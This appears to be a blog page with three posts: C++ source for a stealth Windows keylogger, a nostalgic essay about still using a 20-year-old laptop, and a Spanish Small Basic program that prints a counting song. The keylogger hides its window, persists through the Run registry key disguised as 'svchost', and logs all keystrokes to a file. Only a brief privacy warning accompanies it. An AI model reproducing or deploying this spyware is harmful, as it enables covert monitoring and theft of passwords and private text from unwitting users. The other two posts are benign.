C++ Keylogger

Simple keylogger written in c++.

A keylogger is more spyware than malware, used to capture key presses and, optionally, send the results back somewhere.

Using a keylogger on a computer to monitor the activities of a user, without the user's consent, is a violation of privacy. Don't do it.

C++ Code
#include 
#include 
#include 

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
 SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS);
 
 HWND stealth; /*creating stealth (window is not visible)*/
 AllocConsole();
 stealth=FindWindowA("ConsoleWindowClass",NULL);
 ShowWindow(stealth,0);
   
 int test,create;
 test=test_key();/*check if key is available for opening*/
   
 if (test==2)/*create key*/
 {
  char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
  create=create_key(path);
    
 }
  
   
 int t=get_keys();
 
 return t;
}  

int get_keys(void)
{
   short character;
     while(1)
     {
      
      for(character=8;character<=222;character++)
      {
       if(GetAsyncKeyState(character)==-32767)
       {   
        
        FILE *file;
        file=fopen("svchost.log","a+");
        if(file==NULL)
        {
          return 1;
        }   
        if(file!=NULL)
        {  
          if((character>=39)&&(character<=64))
          {
             fputc(character,file);
             fclose(file);
             break;
          }  
          else if((character>64)&&(character<91))
          {
             character+=32;
             fputc(character,file);
             fclose(file);
             break;
          }
          else
          { 
           switch(character)
           {
              case VK_SPACE:
              fputc(' ',file);
              fclose(file);
              break; 
              case VK_SHIFT:
              fputs("[SHIFT]",file);
              fclose(file);
              break;           
              case VK_RETURN:
              fputs("\n[ENTER]",file);
              fclose(file);
              break;
              case VK_BACK:
              fputs("[BACKSPACE]",file);
              fclose(file);
              break;
              case VK_TAB:
              fputs("[TAB]",file);
              fclose(file);
              break;
              case VK_CONTROL:
              fputs("[CTRL]",file);
              fclose(file);
              break; 
              case VK_DELETE:
              fputs("[DEL]",file);
              fclose(file);
              break;
              case VK_OEM_1:
              fputs("[;:]",file);
              fclose(file);
              break;
              case VK_OEM_2:
              fputs("[/?]",file);
              fclose(file);
              break;
              case VK_OEM_3:
              fputs("[`~]",file);
              fclose(file);
              break;
              case VK_OEM_4:
              fputs("[ [{ ]",file);
              fclose(file);
              break;
              case VK_OEM_5:
              fputs("[\\|]",file);
              fclose(file);
              break;        
              case VK_OEM_6:
              fputs("[ ]} ]",file);
              fclose(file);
              break;
              case VK_OEM_7:
              fputs("['\"]",file);
              fclose(file);
              break;
              /*case VK_OEM_PLUS:
              fputc('+',file);
              fclose(file);
              break;
              case VK_OEM_COMMA:
              fputc(',',file);
              fclose(file);
              break;
              case VK_OEM_MINUS:
              fputc('-',file);
              fclose(file);
              break;
              case VK_OEM_PERIOD:
              fputc('.',file);
              fclose(file);
              break;*/
              case VK_NUMPAD0:
              fputc('0',file);
              fclose(file);
              break;
              case VK_NUMPAD1:
              fputc('1',file);
              fclose(file);
              break;
              case VK_NUMPAD2:
              fputc('2',file);
              fclose(file);
              break;
              case VK_NUMPAD3:
              fputc('3',file);
              fclose(file);
              break;
              case VK_NUMPAD4:
              fputc('4',file);
              fclose(file);
              break;
              case VK_NUMPAD5:
              fputc('5',file);
              fclose(file);
              break;
              case VK_NUMPAD6:
              fputc('6',file);
              fclose(file);
              break;
              case VK_NUMPAD7:
              fputc('7',file);
              fclose(file);
              break;
              case VK_NUMPAD8:
              fputc('8',file);
              fclose(file);
              break;
              case VK_NUMPAD9:
              fputc('9',file);
              fclose(file);
              break;
              case VK_CAPITAL:
              fputs("[CAPS LOCK]",file);
              fclose(file);
              break;
              default:
              fclose(file);
              break;
              Sleep(50);
          }  
           } 
         }  
     } 
    }      
      
   }
   return EXIT_SUCCESS;       
}             

int test_key(void)
{
 int check;
 HKEY hKey;
 char path[BUFSIZE];
 DWORD buf_length=BUFSIZE;
 int reg_key;
 
 reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
 if(reg_key!=0)
 { 
  check=1;
  return check;
 }  
     
 reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
 
 if((reg_key!=0)||(buf_length>BUFSIZE))
  check=2;
 if(reg_key==0)
  check=0;
   
 RegCloseKey(hKey);
 return check;   
}
   
int create_key(char *path)
{   
  int reg_key,check;
  
  HKEY hkey;
  
  reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
  if(reg_key==0)
  {
    RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
    check=0;
    return check;
  }
  if(reg_key!=0)
    check=1;
    
  return check;
}

The Case For Old Hardware


I am writing this on Word Perfect for DOS, on a 20 year old PC.

It is a Dell Inspiron 2500, with a Coppermine Pentium III CPU, running at 733 MHz.  It has a mindblowing 256 MB of ram, and a 20 GB hard drive.

No wifi.  No bluetooth.  No nonsense.

This machine is running MS-DOS 7.1 (from Windows ME), alongside Ubuntu 10.10.

In order to get Ubuntu working I had to comment out all the Maverick repositories from /etc/apt/sources.list and replace them with repos from Debian 6, which it was based on.  Debian 6 repositories are archived, but still work.  Replacing Ubuntu repos with Debian repos allows me to update (sort-of) the software that came with it, and install new software, drivers, and utilities.

In order to get MS-DOS working, I just had to install Windows ME, and patch it to boot directly to DOS, download a mouse driver and a cdrom driver, and modify the PATH to allow COMMAND.COM to find said drivers and load them on boot.  For Windows ME, I just had to get the display driver from Dell, which is still available.

Other than that, it works.

It just works.

There’s a certain beauty in its simplicity.

The thing takes about 5 seconds to boot to DOS, and about 20 seconds to boot to a Linux CLI (I disabled the display manager and most of the unnecessary stuff -- who needs a boot splash, anyway?)

I’ve had this machine for years... been using it to do most of the stuff I need to do.  And, it delivers.

Modern times have accustomed us, spoiled children of the 21st century, to computing devices that will do anything from vacuum our homes to connect our phone calls to automatically embellish our ever-present pictures (esse est percipi).

But, do we need all of that?

Sometimes, I find myself using my newer(ish) PC -- a Quad Core AMD Phenom 2 @ 3.2 Ghz, 16 GB DDR 3 Ram, dedicated ATI graphics adapter, ~3 TB HD, etc., etc. -- and doing, pretty much, the same things I do on my trusty old Dell: Writing programs, debugging code, blogging about nothing, and, overall, innocently trying to break the thing just so I can “fix” it.

In that sense, a 20 year old computer can do just about as much as a 5 year old computer.

Yet, “obsolete” is a common word, when talking about older hardware, and more modern machines than mine will, often, end up in landfills in an ever-growing thirst for newer, faster, bigger, more modern, hardware.

For my part, I’ve made a commitment: For as long as I can get this machine to do what I need it to do, I’ll continue to use it.  I won’t upgrade.  I won’t trade.  I won’t back down, so to speak...

The way I see it, if we cannot bring ourselves up to the idea that a computer this old can still serve its purpose, then what hope is there for us?  Computers are flawless, exact, unbiased, devices.  If, in spite of this, we cannot trust them to accomplish their tasks on account of their age, how can we trust ourselves, flawed, weak, biased, inaccurate, humans?

Just exactly how old is too old?  Is it determined by age, or by the ability to accomplish any given task?  Who or what determines what reasonable expectations are?

Maybe, I’m just getting old.

At 39, and counting, I can remember a time when computers were more than entertainment devices: a time when they were tools, used for learning, creating, and innovating.

They still can be.  So, why aren’t they?

The difference lies in the little details.  It’s the little distractions that have turned computers into little more than entertainment hubs.

I enjoy watching cat videos as much as the next guy, but to think a tool this powerful is meant to do no more than that is to do it a great injustice.

To determine the relevance of technology by its ability to render high quality cat videos and memes is to lower ourserlves.

Computers took us to the moon.

We’re just not looking up any more...

5000 Elefantes - Small Basic

Sigo con la nostalgia de los 80's... not...

De hecho, aun cuando el nombre suene similar, Small Basic tiene muy poco que ver con BASIC.  La primera version estable fue publicada en el 2011, lo que lo convierte en un lenguaje relativamente nuevo, al contrario de BASIC, que data de finales de los 60's y tuvo su auge durante la decada de los 80's.


'patomil elefantes
'jon tohrs
'send me money -_-

'Variables
elefantes = 1
one = " elefante"
more = " elefantes"
col = "se columpiaba"
cols = "se columpiaban"
ve = "como veia"
ves = "como veian"
va = "fue a llamar"
vas = "fueron a llamar"

'Loop
For elefantes = 1 To 5000 Step 1
  If elefantes  = 1 Then
     TextWindow.WriteLine(elefantes + one)
     TextWindow.WriteLine(col)
     TextWindow.WriteLine("sobre la tela")
     TextWindow.WriteLine("de una arana")
     TextWindow.WriteLine(ve)
     TextWindow.WriteLine("que resistia")
     TextWindow.WriteLine(va)
     TextWindow.WriteLIne("a otro elefante")
     TextWindow.WriteLIne("")
   Else 
     TextWindow.WriteLine(elefantes + more)
     TextWindow.WriteLine(cols)
     TextWindow.WriteLine("sobre la tela")
     TextWindow.WriteLine("de una arana")
     TextWindow.WriteLine(ves)
     TextWindow.WriteLine("que resistia")
     TextWindow.WriteLine(vas)
     TextWindow.WriteLIne("a otro elefante")
     TextWindow.WriteLIne("")
     EndIf
   EndFor
   
'Fin   
TextWindow.WriteLIne("y asi hasta el infinito...")